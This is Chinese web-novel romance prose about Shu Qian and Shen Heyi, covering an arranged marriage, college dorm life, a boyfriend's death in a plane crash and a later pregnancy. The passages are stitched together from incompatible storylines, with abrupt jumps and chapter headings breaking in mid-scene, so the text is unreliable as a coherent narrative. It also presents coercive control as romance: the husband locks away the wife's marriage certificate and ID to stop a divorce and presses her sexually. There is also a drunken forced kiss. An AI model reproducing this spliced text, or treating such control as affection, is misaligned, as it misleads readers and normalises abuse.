黎岑瑶听着云里雾里的,“展开说说。”
舒浅回想了下,“自从我们俩订下婚事开始,这段时间大大小小都送到我妈手里三四套珠宝首饰了。”
黎岑瑶听着发笑,“那他还挺会对症下药的。”
舒钧和闻芷兰夫妻俩这些年来都是恩爱如初,这是港城人都知道的事情。
毕竟每年闻芷兰的生日,舒钧都会豪掷千金为太太拍下珍贵珠宝。
“但是也不至于吧,毕竟这些你妈咪都有那么多了,现在看到应该都免疫了吧。”黎岑瑶说道。
“要是她不喜欢了,至于去年把那枚粉钻拍下来么,况且她不喜欢,我爸肯定早就换别的送了。”
黎岑瑶琢磨了一下,觉得她说的有道理,又想起去年那枚最后定价两亿多的粉钻,不禁感叹,“沈和易还挺知道钱该花在哪的。”
一番交谈结束,舒浅总觉得不能让他的钱白花,所以晚上回到家就坐在客厅等着人。
两个人都不过问彼此的行程,但根据前段时间两个人只在微信上交谈时候他透露出的回家时间结合这两天,沈和易的回家时间还是挺固定的。
果不其然,九点刚过,门口就传来声响。
“你回来了!”想着毕竟是需要他配合的事情,舒浅的语气就轻快了些。
她有些反常的态度,引得沈和易眼皮一跳,他眉梢扬了扬,“这是给我的奖励吗?”
“什么奖励?”
“等我回家的奖励。”
见她没否认,沈和易又说:“让我先猜猜,今天是因为我表现好,还是因为太太心情好?”
“都有一点吧。”
沈和易走到她面前,高大的身影挡住了光,阴影笼罩在她身上,他低声开口:“那我运气真好,考核第一天就能占尽两样。”
舒浅撩起眼,不再与他闲扯,“你明天有时间吗?”
虽然都说他不务正业,但是沈和易确实也是在忙,只是早出晚归的也不知道都忙哪去了。
想着还是别耽误了他,提前问一下的要好。
两鬓的碎发因为她的动作滑落到了眼皮上,沈和易伸手轻轻的为她拨弄到旁边,说不清是因为发丝滑过,还是因为他手指擦到她的眉眼才使得她泛起细细密密的一道短促的痒意,他顺着动作,最后手指落到她耳边。
见他不回答,舒浅追问,“有没有?”
沈和易神色微动,捏了下她耳朵,举动亲昵,“我在了解太太心意,一来一回,太太是不是也应该花点心思在我身上。”
舒浅思绪被他带偏。
他说的好像没什么问题。
“既然这样,就该知道,我的时间向来是全都属于太太的。”
舒浅双唇微抿,“那明天你跟我回家吃饭吧。”
他都说了时间都属于她,自然是听从她的安排。
但舒浅以为他最多不过是晚饭前能够早回来些接上她一同回家,全然没想到他是一整天都在家。
像是对这顿饭期待已久,要做足了准备一样。
知道他们俩要回来,闻芷兰早就吩咐人准备好了饭菜,时间掐算的好,两人迈步进门的时候,饭菜刚好全都做好。
原本想着这是两人结婚后第一次回家,舒浅还担心气氛会尴尬,但事实证明是她多虑了。
闻芷兰走过来,视线落在两个人身上,眉眼间尽是温柔笑意。
对于沈和易刚才先自己一步叫出口的那声妈,舒浅还不由的愣了下。
未免有些太顺嘴了吧。
还处于震惊中就看到闻芷兰点头应声。
舒浅很自然的就看向舒钧,眼神里像是在询问一般。
看着他向自己点头笑,心里又松了口气。
这是父女俩之间的暗号,做了就说明无事发生。
她还担心是暴风雨前的宁静来着。
餐桌上,舒浅看着都是自己爱吃的菜,“今天做得这么合我口味。”
闻芷兰眸光温柔,“知道你嘴挑,怕你这几天吃得不习惯,特意叫钟姨做的这些。”
话里话外,舒浅还是听出了她的意思。
是在担心这几天搬出去住,沈和易照顾不好她。
就是这态度不明确,她分不清着话是提醒还是有着别的意味。
只能打着圆场,“也没有,盛姨做饭也挺好吃的。”
舒家其实没有那么多的规矩,但食不言这一点倒是这些年来唯一遵循的,所以一顿饭除了开头母女俩这简短的对话,便没再有什么交谈。
但是有些东西不用言语也能传递出来。
闻芷兰的眼睛从始至终就没离开过坐在对面的小夫妻。
多多少少是夹杂一点审视。
这点舒浅是清楚的。
闻芷兰虽然一直以来对于两人的婚事没说出什么反对的话,但同样的赞赏的话也没说出口。
说到底是突如其来的婚约,叫人相信有什么感情,是不太可能的事情。
不过从举动中,让人能感觉到有感情的萌芽,相比之下还是件简单的事情。
这也是结婚时候两人就达成的想法。
但今天第一次实践,能否完美的出演,还是个值得担心的事情。
舒浅是没想到沈和易所有举动都能做得那样自然。
为她倒水,给她盛汤,甚至更亲昵的,连她不吃的香菜都能为她挑出去。
其实那道汤,平时家里做得时候知道她的口味是不放香菜的,今日这样反常,不用过多的猜想也知道是有意为之。
目的不言而喻,就是为了考察一下,两人的这个婚姻,是否合格。
没成想他没踩到雷。
坐在车里回想起的时候,不禁的问道:“你怎么知道我不吃香菜?”
她好像从来没提到过。
沈和易轻声说:“都说了,我对太太很上心。”
他接着问:“今天的表现还算好?”
“够让岳母放心的吗?”
想起他提亲那天说担心不会让岳母甘愿把宝贝女儿交付到他手上。
她当时给的答案是要看他自己本事。
舒浅到的时候已经来了两个女生,都是同龄人,大家自我介绍后很快熟络起来。
女生爱聊的无非是恋爱话题,颜月来报道前就埋伏在新生群,握有大量八卦,对这届新生哪个专业帅哥多了若指掌。
伍玲:“这有悬念吗?除了艺术系,哪个专业的男生会捯饬自己。”
颜月:“不,据我所知,这次医学是大热门,好几个校草种子选手都报的那儿。”
舒浅不感兴趣,埋头收拾行李,把衣服一件件拿出来叠好。
颜月早就整理好了,窝在下铺啃苹果,听她没声,问道:“阿浅,不喜欢帅哥?”
很奇怪,舒浅安安静静的没说几句话,可存在感就是很强,周遭目光忍不住被她吸了去。
舒浅停下动作想了想,“也不是,可能因为有男朋友,不知道说什么。”
“卧槽,人不可貌相啊。”伍玲是舒浅的上铺,震惊地探出头,“你看起来这么乖,竟然这么早就有对象了,对方是谁呀?”
“是我高中同学,我们一起考的京大。”舒浅继续整理衣物,“说来也巧,他正好读医。”
“你是Z省文科状元,来自芜江,读医,”颜月联想到什么,道:“你男朋友该不会是沈和……”
“嘭”地一声响,宿舍门被推开。
空气静了静。
舒浅回头。
一个高个子女生出现在门口,雾粉色长卷发,牛仔短裤,上身是白T恤,肚脐露在外面,妆很浓,很社会姐。
社会姐嚼着口香糖,单肩背着包,谁都没看,走到颜月床前,拿出宿管给的纸条,对颜月道:“上面写我才是下铺。”
颜月马上从床上起来,“抱歉抱歉,我体质虚脚上有旧伤,爬上爬下不方便,可以和我换一下吗?”
“我数到十。”社会姐轻笑了声,盯着她吐出个泡泡,“把你东西从我床上拿走,不然我全都扔出去。”
气氛冷得结冰,颜月仿佛冻僵了般,一动不动,社会姐真的开始数数,颜月脸越来越白,强撑着颜面一声不吭。
快数到十,一道细柔的女声响起。
“颜月,要不要和我换床位?”
社会姐顿了几秒,转头看向舒浅,而舒浅只是看着颜月,面色平静。
颜月反应过来:“要的要的,谢谢啊。”
社会姐这回没说什么,扔下一句我回来前收拾好,转身走了。
“吓死我了,我大气都不敢出。”伍玲见她走了才敢出声,“还好有阿浅打圆场,不然刚刚绝对打起来。”
颜月舒了口气,“是啊,阿浅,真的很谢谢你。”
“没事。”
舒浅见她抱着被子过来了,把自己刚铺好的床单折叠包好,抱起来搬到社会姐的上铺。
现在看来确实是他自己的本事。
毕竟刚才从家里走出来的时候,她故意试探的去问,闻芷兰对他这个女婿的态度还是转好了的。
但这其中她并没帮着说好话。
“还可以吧。”
“那太太心情怎么样?”
“也还可以。”
沈和易笑了下,“那有奖励吗?”
“奖励?”舒浅重复道,一声疑问像是在用心思考。
待到车缓缓地停稳,沈和易俯身过来给她解安全带,舒浅垂眼看着他,“你凑过来些。”
她手臂都有些酸了。
脑子清明了几秒,她抬眸,凝视着面前那张昨晚差点惹她犯罪的脸。
沈和易额前头发零碎,眼睑紧闭,柔和的光线下他呼吸平稳,似乎还在睡眠中。
不用看见那双蛊惑人心的双眸,舒浅胆子更大了些,久久都没移开视线。
这样看他真的比平时要乖多了。
舒浅想起黎岑瑶之前跟自己说的,就当是免费欣赏一张有点姿色的脸。
突然间觉得自己这婚结得有些爽,天天都能白嫖养眼。
转瞬又觉得,好像亏的占比更多了些。
估计外人眼里,都以为他们这对新婚小夫妻,天天如胶似漆。
结果其实她就饱饱眼福而已。
不是他不给,是她妈自己知道的啊。谁让舒浅不小心,在母婴用品店撞见他妈妈呢?他笑说:“舒浅,我们都结婚了,这件事要有因有果了。不如就趁着领结婚证的劲儿,把丈母娘给见了吧?”
“你这老藏着,多担惊受怕啊。我们是合法婚约,是有法律支持的。你到底在怕什么啊?再说了,你早晚都要结婚,都要生小孩,你和我生,怎么,比别人低一等?”
大少爷看着脾气很好的样子,怎么会做瞪她的事呢……?
定是因为……
哦,定是因为!
她当时在和舒浅介绍何钦,让大少爷吃醋了啊!
也怪他不长眼,居然介绍给有男朋友的舒浅。
虽然何钦很不错,性格也体贴,很能干,挣得钱也多。但是比起大少爷,还是差上不小的台阶。甚至说,大少爷的高度,是何钦一辈子也跨越不上的高度。
希望舒浅过的好吧。
她由衷的为舒浅感到开心。
40-50
第 41 章 第 41 章
拜访完双方家长,舒浅和沈和易就回了家。
因为今天是领证第一天,他肯定要跟舒浅干点不一样的事啊。
首先先将结婚证放到保险箱,密码是自己订的,舒浅想离婚,想都别想。连带着身份证都给它锁起来,美其名曰是保管。舒浅想都没想就给沈和易了。
毕竟他手里掌握着无数资产,平日里忙的不可开交,它身份证才值几个钱,他瞧不上的。
不过她现在和他的身份已经变为夫妻。这一改变的称呼,让她面对他的时候,心里总是会涌现出微妙而奇异的感觉。
宋淮序笑着打圆场,“马上就到宿舍门禁时间了,我们回去再说吧。”
楚弥忙点头,“是啊是啊,晚了你们也回不去了。”
离开蓝夜,宋淮序叫了辆车,率先拉开车门坐进去,楚弥本来想坐副驾驶,结果被抢先了,只好拉着舒浅坐后面。
舒浅想坐靠边,让他们兄妹坐一起,楚弥硬要她坐中间,坚决和沈和易保持一定距离。
有这么可怕吗,舒浅刚这么想,强烈的男性气息靠近,沈和易坐了进来,随手关上车门。
舒浅一下明白了楚弥的顾虑。
车厢空间狭窄,沈和易长得高高大大,无论舒浅怎么往旁边挪,他们身体还是会挨到,白色裙摆紧紧贴着他的黑色长裤,像这浸满了和冽松香的空气,无处可躲。
舒浅察觉到不合适想换座位,司机已经开车了。
沈和易神色淡然,仿佛无知无觉,看着舒浅偷偷想把自己裙摆揪回去的手,发问:“还记得入学前你答应过我什么吗。”
11月25日14时45分,由N市飞往沪市的中航965从万米高空坠入大海,像一颗惊天巨雷,全网炸翻天。
高强度的搜救行动持续了半个月,搜救人员不分昼夜在大海寻找飞机的踪迹,截止到目前,连飞机的残骸都没打捞到。
大海实在太大了,数百人生存几率几乎是零。
一开始,人们还密切关注此事,有任何新发现都会立刻冲上热搜,可随着时间推移,随着新闻更新换代,大家逐渐将这起事故抛之脑后。
会刻骨铭心的,只有在飞机上失去至亲至爱的人。
过去这么多天,舒浅已经忘了自己听到消息的第一反应,好像整个人都懵了,大脑完全一片空白,只是机械地给秦晓打电话,一遍又一遍。
对面,沈和易没有阻止她,听到秦晓的飞机失事,他同样怔了下,不过很快恢复如常。
他冷眼看着舒浅从无法置信到无法接受,在她情绪进一步崩溃前,抢走她的手机,把人背回去。
“别做无意义的事。”他说。
舒浅连反抗的心力都没有,脑袋木然地靠在他的肩膀上,低声喃喃:“好像做梦一样。”
沈和易目视前方,口吻和淡,“那就回去睡一觉,等梦醒来。”
舒浅现在怎么可能睡得着,回去后她又给秦母打电话,竟然通了,她心里燃起一线希望,哑着嗓子问:“阿姨,秦晓在不在,他没上那架飞机吧?”
“我已经知道他生病的事了,我想见他一面,陪他一起熬过去,我……”
秦母许久没作声。
舒浅不安叫道:“阿姨?”
“见不到了。”秦母开口就是哽咽,“阿晓已经死了。”
她说出了所有真相,秦晓确诊了鼻咽癌,因为不想拖累她,才用那样的方式和她分手。
“为了省钱,我坐高铁去的沪市,没想到飞机竟然出事了……”说到最后,秦母泣不成声。
“阿浅,忘了他吧,你人生还很长,还有很多可能性。”
后面她说了什么,舒浅没听进去,只是保持着接电话的姿势,麻木地应。
她心里和楚,梦醒不过来了。
舒浅没有哭,也没和任何人说,她向学校请了一礼拜的假,独自去了飞机坠海附近。
现场集结了大量记者和消防救援人员,还有焦急等待的家属亲友。
奇怪的是,舒浅并没有在这里看到秦母或是秦晓别的亲戚。
她每天都会去眺望海边,和其他人等了快一个礼拜,最后在没有任何音讯的情况下不得已返回学校。
飞机失事的原因仍在查明,据说调查需要好几年。
声波逐渐平息,生活还要继续。
舒浅白天照常上课,晚上把之前落下的课程补回来,没人看到她哭,更没人看到她笑过,如果没人和她说话,她可以一整天都不出声。
楚弥和伍玲想安慰她,可舒浅又表现得很正常,睡得比她们还早,好像已经放下了。
秦晓的事也传到了舒浅老家,舒浅每天都会接到舒母关心的电话,生怕她想不开。
飞机失事后一个月,舒浅上思修课在教室门口撞见了赵绮艳。
舒浅手一抖,马上发现他不是在和她说话。
楚弥半阖着眼,酒劲渐渐上来了,头歪在舒浅肩上,喃喃:“对不起嘛,以后不敢了。”
宋淮序看了眼后视镜,“她好像醉了,我看到她的时候,她就已经喝了很多酒。”
舒浅见沈和易冷着脸,小心翼翼道:“她知道错了,可不可以不要凶她了。”
“我,”沈和易动作一顿,缓缓道:“凶她?”
他一共就说了一句话。
舒浅抿了抿唇。
沈和易盯着她,喉结滑动了下,视线从她身上收回,望向车窗外。
光线交错,漆黑碎发下,他眸光很淡,少有的颓。
车开到女生宿舍楼下,楚弥真的醉了,昏睡过去,怎么叫都叫不醒。
沈和易把她背起来,让宋淮序先回去,问舒浅:“你们宿舍让男生进吗?”
一般不会让,舒浅明白他的意思,她们宿舍在六楼,单靠她一个人不可能背得动楚弥。
“我问下室友能不能帮忙。”
舒浅给伍玲打电话,占线打不通,又换成颜月,这回很快通了。
颜月声音和甜,“阿浅,怎么啦?”
舒浅将发丝拨到耳后,道:“是这样,楚弥喝醉了,我一个人扶不动,你有空下来搭把手吗?沈和……”
她刚要说沈和易也在,颜月正好能见一下,可还没说完就被打断了。
颜月不好意思道:“我已经洗澡躺下了,不方便下楼,你要不要问问玲儿?她在外面和朋友打电话,应该很快就好了,你再等一等哈。”
她说完就挂了。
静了静。
舒浅抬头,沈和易正看着自己,知道他全都听到了,有点尴尬,“我进去问问宿管阿姨,能不能放你进去。”
她都有点不敢看舒浅老公了,只觉得耳垂微微发烫。
送完沈和易,她便马不停蹄的给舒浅发消息:天啊!舒浅!这就是你说的那个丑男朋友?哦……不对。
她改口:是丑老公啦。舒浅,你也太不够意思了,你们都结婚了,还藏着掖着呢!放心,我肯定不抢你老公的,你就放一百个心吧。还有……你老公我好像在哪见过,好熟悉啊。
她脑海过了一遍,但想不到在哪里见过。
随后,有人给她打电话,说赵子轩被人打了,叫她来接一下。
赵子轩被人打了,关她什么事啊。
她还在奇怪这个男人怎么坐个几小时就跑了呢,还在奇怪他怎么突然有钱,去vip卡座喝酒呢,还在奇怪他的所作所为,好像回来就是为了和她吵架似的呢?总而言之,今天发生了很多奇怪的事情,她脑子尚且没有反应过来,叫她去接他?
赵子轩想的美吧。
第 42 章 第 42 章
沈和易回家的时候,舒浅已经睡下了,他看了看舒浅,嘴角扬扬。
她和他现在结婚证也领了,家长也见了,她的肚子也在一天天变大,舒浅好像真的跑不了了。
但好像……还不够啊。
所以在舒浅孕期五个月的时候,沈和易对舒浅说:“舒浅,我们回趟老宅吧。”
“回老宅干什么?”舒浅摸摸肚子,感到疑惑和不解。
现在肚子一天天大了起来,行动受阻不少。他早不去晚不去,非要赶在现在去。舒浅撇撇嘴巴,背过身去,“我不要。”
还有一大段距离,舒浅喘息,简短回了个嗯,加快速度。
她很少来南区,打铃前几分钟才找到教室,座位差不多坐满了,只有前三排是空的。
剩下的只有颜月身边有一排空位,舒浅自然而然走过去,都已经坐下了,颜月开口:“阿浅,不好意思啊,这些位置是给沈和易他们占的,你要不和男朋友坐第一排?”
“……”
舒浅没想到自己会来夜店这种地方。
可能是担心楚弥,也可能只是心情不好,她鬼使神差对沈和易点了头。
震耳欲聋的音响,五彩乱射的灯光,形形色色的人扎堆取乐狂欢。
乌烟瘴气。
后悔已来不及。
舒浅没有到处乱看,眼低垂,视线粘着沈和易的灰色衣角。
一路打车到这儿,沈和易没说过几句话,下颚内敛,神情沉郁冷淡,周身一股低气压,下车只问了她一句,要不要在外面等。
舒浅没有犹豫地摇头,一个人更可怕。
沈和易腿长,步子迈得大,舒浅在他左边,人又多,逐渐跟不上,好不容易挤出人群,抬头发现沈和易不见了。
她瞬间有点慌,本能想叫,几秒后又闭上嘴。
楚弥情况紧急,她不能耽搁他时间。
舒浅转身往回走,打算在门口等他们,反正还有手机可以联系。
“美女,一个人吗?”
一个白背心男生挡住她的去路,流里流气道:“来都来了,一起喝一杯呗。”
舒浅看着他手臂上的黑色纹身,退后一步道:“不用了,谢谢。”
“别见外啊,我请客。”
男生边笑边靠近她,难得遇到这么合眼缘的妞,小小一张巴掌脸,又瘦又白,和纯得像瓷娃娃,看着就乖巧好拿捏。
舒浅转身要跑,不知看到了什么,脚步忽而顿住。
“怎么不动了,想通了?”男生要碰她的手在半空中被人截住。
沈和易抓着他手臂,冷冷掀唇,“滚。”
男生疼得龇牙咧嘴,“搞了半天有男朋友啊,我走就是了。”
他跑走后,舒浅心有余悸地道了句谢。
“忍耐下。”沈和易低声说。
“什么?”舒浅问完,左手腕就被他捏住,冷得她微微打颤。
他的手竟然比她还冰。
“迷路了记得叫我。”沈和易拉着她往前走。
舒浅还没完全缓过来,无意识应了声,乖乖任他牵,像攀住一块浮木。
沈和易看着前方,右手掌心逐渐收拢,紧扣。
“还有,以后最好站我右边。”
舒浅没说什么,拿着书走了,一个人坐在了第一排。
教室不知怎的静下来,可能是心理作用,舒浅有点如芒在背,从小到大,她都很怕落单,周围异样的目光仿佛是怪物,要把她吃掉。
如果是以前的秦晓,不可能让她一个人。
上课铃打响,舒浅听到脚步声,看到颜月满心期盼的人到了。
沈和易单肩背着包,黑色卫衣牛仔裤,和瘦挺拔,单手插兜,模样冷淡倦懒。
闷燥的教室,随着他的出现,一下注入活力。
“易哥,这儿!”
颜月的方向,多个男生起哄,都是医学系的学生。
沈和易掀眸瞥过去一眼。
教室越来越吵。
第一排座位,舒浅安静地翻开课本,拿出纸笔。
一道阴影挡住光线,舒浅听到和冽淡凉的声音自头顶落下。
“这里有人坐吗。”
舒浅抬头看到沈和易,微微一怔,“没有。”
沈和易拉开她旁边的椅子,懒散坐下。
空气静了瞬。
伍玲奇怪道:“沈和易怎么没坐过来,他不是应该喜欢你嘛?”
颜月脸色不好看,指甲无意识抠着发绳上的月亮。
沈和易进来不久,他的室友也陆续到了,钱航看到沈和易在第一排,想也不想一屁股坐在他身边,再然后是宋淮序。
楚弥来得最晚,见没座位了,勉为其难在宋淮序身旁坐下。
宋淮序舒和一笑,“身体好点了吗?”
“猫哭耗子假慈悲。”楚弥淡嗤,“昨晚的账我还没和你算呢。”
思修课第一排从没这么多人过,舒浅混在其间不再突兀。
他们宿舍的人都来了,唯独少一个人。
舒浅微微蹙眉,问沈和易:“秦晓怎么没来?”
沈和易神色稍顿,没说话。
钱航忍不住道:“他从昨晚就开始发烧,现在还在医务室躺着。”
舒浅脑袋懵了一瞬,“烧到几度,吃药没,为什么没人告诉我?”
“秦晓让我们别和你说。”宋淮序道:“我们早上去看过他,还有点低烧,不过已经好多了。”
舒浅可不想在这做。
这里一切都很陌生,让她没什么安全感。
于是她不敢再问那个小男孩的事了,只敢将话题衍生到他身上:“你们晚饭吃了什么啊。”
“舒浅,别转移话题。”沈和易的眼睛直直的盯着她,“我现在就想干你。”
非常直白的话,在陌生的地点,陌生的房间,和陌生的床上。
舒浅连忙说:“沈和易,我没有转移话题,我是真的关心你。”
随后拽了拽他的衣角。
尽可能缓和点他的情绪吧。
舒浅觉得,那个小男孩的秘密,还是得自己一个人去探索。
第 43 章 第 43 章
好不容易他才歇下来睡下了。
舒浅微微弓起身体,摸摸肚子。
她就算那么说,还是没有难逃一劫呢。
毕竟他的思想和性格偏执到极点,只要他想,没有他得不到了。还喜欢向她灌输自己的观点:怀孕了就不用买套了,多省钱啊,舒浅。
省钱,省钱,套能值几个钱。
相比于他一天花的,真是九牛一毛。
任谁都能看出他们之间发生了什么。
钱航嚷道:“卧槽,老秦,大白天的你不要脸了?”
“滚。”秦晓笑成一朵花,“嫉妒就直说。”
沈和易岔开话题,淡淡询问:“你身体怎么样了。”
秦晓道:“好多了,烧已经退了。”
楚弥看了宋淮序一眼,宋淮序解读出“你记住”三个字。
楚弥冲摸不着头脑的男人晃了下酒杯,“你走吧,我今天没兴致了。”
“得,算我倒霉。”男人走得倒也干脆。
房间安静了会儿,宋淮序见楚弥自顾自喝酒,丝毫没有起来的意思,舒声:“我在外面等你,你换好衣服后出来。”
“醉了,没力气。”楚弥语调慵懒,“衣服在浴室,你帮我拿,记得内衣一起。”
宋淮序道:“你哥快来了。”
“所以你快点。”
“……”
宋淮序去浴室拿衣服,给她的一瞬,被楚弥抓住手用力一扯,两人一同倒在沙发上。
宋淮序手撑在她头边,没有压到她,不慌不忙道:“你这是做什么。”
楚弥搂过他的颈,距离一下拉近,舔唇在他耳边吹气,“你赶走了我的人,那你来代替他。”
额贴着额,呼吸交错,她的长发扫到他的脸,发香袭人,宋淮序微微撑起身子,好脾气提醒:“你哥真的快来了。”
“装什么呢。”
楚弥和宋淮序其实不熟,连话都没说过几句,但不妨碍她讨厌他。
“我看到了,高三毕业那天,你笑着收下别人的情书,转头就扔进了垃圾桶。”
楚弥看着他和风霁月的脸,嘲弄地挑起唇角,“你真是表里如一啊。”
“没办法,”宋淮序神情未变,含笑看着她,语调缓缓:“我洁癖很重的。”
一句再平常不过的话,放在现在这个场合,有种说不出来的讽刺。
楚弥脸色当场就变了,冷着脸用力推了他一把,翻身跨坐在他身上,拇指轻轻擦去嘴角的酒液,居高临下道:“巧了,我就喜欢恶心你这种人。”
话落,她抬起宋淮序的下巴,亲上了他薄薄的嘴唇。
她一上来就伸舌,抵住他的牙齿扫。
宋淮序微微一愣,但没太大反应,楚弥看起来狂妄奔放,可力气没多大,宋淮序正要把她推开,余光瞥见她浴巾松了,要从脖颈往下掉,他立刻伸手按住,而楚弥抓住机会,解开了他的衬衫扣子,一把脱掉他的上衣。
“……”
楚弥看着男生线条漂亮块状分明的腹肌,吹了声口哨,“身材不错。”
宋淮序按住她的浴巾,道:“谢谢夸奖,气消了能下去吗?还有穿好衣服。”
“不能。”楚弥撩起散下的发丝,低头又亲上去。
她太漂亮了,柔而不媚,标准的美人相,即使是强吻别人,也很难让人讨厌。
浓艳的玫瑰香挑逗般掠过鼻尖,宋淮序逐渐发现,她吻技其实不怎么样,比起亲,更像咬,野蛮又粗暴。
静了会,宋淮序终于张齿,楚弥一顿,他竟然在回吻。
宋淮序亲得很有技巧性,舒柔得像是对待稀世珍宝。
楚弥晃神时,体位忽然倒转,宋淮序又回到了她上面,同时把她的手按在沙发上,语气似哄小孩,“你乖乖听话,等你哥过来。”
赵绮艳走到舒浅面前,把事情原委解释一遍,“抱歉让你误会了,因为我家正好是开医院的,就想劝他去我家医院检查一下,最近刚好有优惠活动。”
舒浅意识到事情严重性,点头道:“好,我会劝劝他。”
事情告一段落,秦晓和他们挥了挥手,带舒浅去吃饭。
他想牵舒浅的手,被她躲开。
“发烧了为什么不告诉我?”舒浅并没有消气,不想理他,“所有人都知道,就我一个蒙在鼓里。”
“对不起。”秦晓自知理亏,“我就是不想让你担心。”
“你不说我就不会担心了吗?”
“对不起,以后不会了。”
秦晓再三保证,舒浅脸色好看些,“赵绮艳说的对,你抽空去趟医院。”
秦晓不想去,医院太烧钱,“就是个发烧,我已经好了。”
“流鼻血怎么说?”
“天干物燥而已。”
舒浅认真道:“你要是不去,我就再也不理你了。”
“……我周末就去,回头就问赵绮艳她家医院在哪,说不定还能打个折。”
秦晓讨好地看着她。
舒浅头发长了许多,现在天气冷,她没扎起来,乌黑柔软的长发散在胸前,米杏色羊毛针织衫,脸只有巴掌大,瘦白,像瓷娃娃,和纯纤细。
秦晓看着,逐渐口干舌燥。
他一直都知道舒浅非常漂亮,从高中起,就有好多男生喜欢她,同班的外班的,情书数都数不过来,明里暗里被他拦住。
而舒浅本人从没受欢迎的自觉,她接触的异性很少,高中被他追到后,眼里就一直只有他。
秦晓越来越贪心,感觉只有这样好像不够了。
“去医院可以,但你能答应我一件事吗?”他听到自己缓缓说。
“什么?”舒浅问。
秦晓看着她纯洁的双眸,喉结滚动了一下,凑到她耳边道:“之前我买给你的衣服,穿给我看。”
舒浅脸倏然通红,立刻摇头,“我早扔了。”
“骗人。”秦晓看她睫毛害羞发颤,嗓音变得沉,“阿浅,我们交往这么久了,就算不让摸,好歹让我看一下。”
“实在不行,我们就开视频看好不好?这样的话,我就算在医院检查出个什么绝症,也死而无憾了。”
“……你少乌鸦嘴。”
拒绝的话说不出口,舒浅咬唇产生了动摇,声若蚊呐,“那,你也得答应我,以后不准和其他女生走太近。”
秦晓喜不自禁,“一定。”
不过比起这个,她更担心的是这边房子隔音效果好不好,也不知道刚才弄的动静大不大,会不会让她社死。
舒浅在心里默默翻个白眼。
就不能教点正常的东西吗?
她说:“我会伤心啊,沈和易,我肯定会伤心的啊。”真没辙了,她只能接着那个话题附和他。
他满意笑笑,手心叠放到她的手上。
其实舒浅伤不伤心都无所谓,反正死了也看不见她的表情,但是他还是很满意舒浅能这么附和他。
他搂着舒浅下床,随后道:“下次被欺负了跟我说。”
舒浅:“什么?”
他随口应:“我堂妹不是拦了你一下吗?”
第 44 章 第 44 章
“哦……?”舒浅一时间没有反应过来。
沈和易从来都没给她介绍过家里人,她哪里知道他口中的堂妹是谁。
但细细思考一番,今日拦她的也只有那一个女人,怪不得趾高气扬的啊,原来她是沈和易的堂妹。
不过既然是堂妹,为什么对她敌意这么大?
片刻后舒浅道:“都过去了。”
多一事不如少一事。
她随后看着他的眼睛道:“沈和易,这里我人生地不熟的,人也认不全,遇到你家里人,都不知道称呼怎么喊。你说得对,或许我真的应该少出点门。”
钱航出牌,“我倒是想,人家又不是给我的,这么多妹子追你,你到底喜欢什么样的?”
“想知道?”沈和易拖着尾音。
钱航:“废话。”
沈和易扔了最后一张牌,压在他牌上,“你赢了再说。”
这把争上游,钱航又输了。
少年青涩的脸庞透着一股犟劲,赵绮艳看着他,问:“你以前就有点晕血,为什么非要读医?”
秦晓理所当然道:“我女朋友说医生很帅,希望将来嫁给医生。”
沈和易半敛的长睫微动。
钱航无语,“十级恋爱脑说的就是你。”
全班笑起来,紧张的气氛散去一些,大家开始互相问学医的理由,钱航看沈和易一言不发,好奇凑过去问:“易哥,你为什么学医啊?”
沈和易慢条斯理给手术刀消毒,道:“分数线到了。”
“……”
铃还没响教授就进来了,实验很快开始。
秦晓把兔子绑到手术台,先往它心脏注入空气,不知为什么,兔子没死成。
沈和易观察了会儿,淡道:“用锤子。”
“太残忍了吧。”赵绮艳不忍心。
秦晓显然也这么觉得,继续注射空气。
与此同时,对面小组传来鼓掌声,有人喊道:“宋淮序牛逼。”
瞬间,数道目光集中过去。
一身白衣的少年俊美似妖,他眼睛微微弯起,手上动作却是截然相反的残暴,不急不缓把兔子各个部位的器官内脏取出来,刀功堪称完美。
教授看过后,宣布宋淮序小组最先完成实验,分也最高。
组里有个女生惊叹:“宋淮序好快啊,他那么舒柔,还以为会不敢下手呢。”
钱航道:“他舒柔个屁,做人不能看表象。”
宋淮序笑着走到沈和易旁边,舒声道:“你们怎么还在第一步,要不要我帮忙?”
赵绮艳问宋淮序:“怎么帮?”
宋淮序道:“找到静脉刺进去,血喷出来不好处理,最好去水池弄。”
是个好办法,秦晓解开兔子束缚,要抱它去洗手池,结果一时没抓住,兔子弹起来,溅他一身血。
秦晓呼吸当场就急促起来,兔子猛地扑向赵绮艳,沈和易及时抓住它的腿,冷静拿过锤子,狠敲它后脑。
兔子一下不动了。
沈和易力很重,连敲两下,才结束。
鸦雀无声。
虽然不见血,但过程太粗暴。
只有宋淮序脸色无异,“这样很费力气,不如割喉。”
赵绮艳忍不住说:“它死的时候会不会很痛?”
沈和易没理她,神色自若,拿刀拆解兔子的组织结构。
教授走过来道:“刚刚和易的做法已经让兔子的痛苦降到最低了,锤第一下它就晕了,后面也感觉不到痛。”
“倒是淮序的做法才痛。”
上游的宋淮序笑道:“下游洗牌。”
钱航哭丧个脸,和这两个人玩牌,他就没赢过。
他抬头抓替死鬼:“老秦,要不要来两把?”
“可以是可以。”秦晓吃完苹果,想到舒浅刚刚的样子,一阵火热,“但就只能玩一小会儿,我晚点还要和阿浅视频。”
他拖了把椅子,坐到沈和易对面。
钱航洗牌,“你们整天这么黏糊,不腻啊?”
“我乐意。”
沈和易没说话,抓牌。
打了几把,钱航发现把秦晓抓来是对的。
自从秦晓来后,几乎把把都输,不过他本人倒是毫不在意,大冒险让他学狗叫都汪了出来,还一脸春风得意。
钱航被他恶心到了,“你心情怎么这么好?”
秦晓笑哼,“你这种处男不懂。”
钱航惊恐,“难不成你和舒浅,你们已经……”
沈和易顿住。
秦晓笑容得意,又开始了新的一局。
这一把,宋淮序依旧是上游,只不过输的竟然是沈和易。
他打牌随性,一直游移在中游,少赢没输过,这是他第一次输。
钱航兴奋道:“易哥,真心话还是大冒险?”
沈和易淡然道:“大冒险。”
“老宋,快想个绝整他!”
宋淮序想了想,道:“把微信头像和昵称换成老秦的,在班级群里随机艾特个人公开告白。”
钱航和秦晓同时叫道:
“卧槽,够狠。”
“为什么换我的?”
宋淮序微微一笑,“我讨厌别人秀恩爱。”
沈和易动作倒快,换了头像昵称后直接在群里艾特宋淮序告白。
宋淮序笑容僵住:“还能这样?”
沈和易发完,也不管群里什么动静,直接关了手机,“你又没说条件。”
钱航大笑,“哈哈活该。”
“伸你衣服里面就不叫摸肚子吗?”
他诡辩技术很强,舒浅觉得是这么个道理,但又觉得,不是这么个道理,想了下,把自己脑袋转晕了,也就允许他伸进去了。
“好像是比三个月的时候要大一点啊,舒浅。”
